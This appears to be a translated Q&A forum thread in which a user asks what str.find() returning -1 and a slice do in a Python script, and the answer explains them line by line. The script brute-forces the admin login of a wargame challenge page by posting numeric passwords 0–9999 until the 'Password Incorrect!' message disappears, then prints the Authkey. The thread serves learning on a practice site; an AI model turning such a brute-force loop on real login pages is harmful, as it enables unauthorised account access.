req.text.find ("") == -1? - PullRequest
       39

req.text.find ("") == -1?

0 голосов
/ 17 мая 2019

Я хочу знать детали кода. Особенно, почему req.text.find() это -1 и req.text[index:index+30].

import requests
URL = "http://suninatas.com/challenge/web08/web08.asp"

cookie={
    "ASPSESSIONIDQSAQARDT":"MCEPDMFCFIACLLONLJHDHHAA"
} # 쿠기 값은 자신의 것으로 변경
session1 = requests.Session()

for i in range(10000):
    data1={
        'id':'admin',
        'pw':i
    }

    req = session1.post(URL, cookies=cookie, data=data1)
    if (req.text.find("Password Incorrect!") == -1):
        index = req.text.find("Authkey")
        print("\n\n")
        print(req.text[index:index+30])
        print("\n\n")
        input("Press Any KEY to exit.......")
        exit(0)

    else:
        print("Wrong Num :" + str(i))

1 Ответ

0 голосов
/ 17 мая 2019

хорошо, давайте посмотрим на это.

req = session1.post(URL, cookies=cookie, data=data1)  # Makes a POST request. req now holds the response body
if (req.text.find("Password Incorrect!") == -1):  # Look for the text "Password Incorrect!" in the text of the response body

Итак, в python есть два способа найти индекс конкретной подстроки в строке: str.index(substr) и str.find(substr).В любом случае, если substr появляется в str, то эти функции возвращают индекс в str, с которого начинается substr.Разница между ними заключается в том, что если substr не появляется в str, то index() повышает IndexError, тогда как find() возвращает -1.

Таким образом, когда мы проверяем, если req.text.find("Password Incorrect!") == -1, мы проверяем, что подстрока "Password Incorrect!" не появляется в req.text.

if (req.text.find("Password Incorrect!") == -1):  # continuing on...
    index = req.text.find("Authkey")              # Find the index of the string "AuthKey" in req.text
    print("\n\n")
    print(req.text[index:index+30])               # print the contents of `req.text` from that index
    print("\n\n")                                 #   through the next 30 characters
    input("Press Any KEY to exit.......")         # and finally, exit
    exit(0)
else:
    print("Wrong Num :" + str(i))                 # If we DO find "Password Incorrect!" in req.text,
                                                  #   then we just say "Wrong Number" and continue on with the loop.
...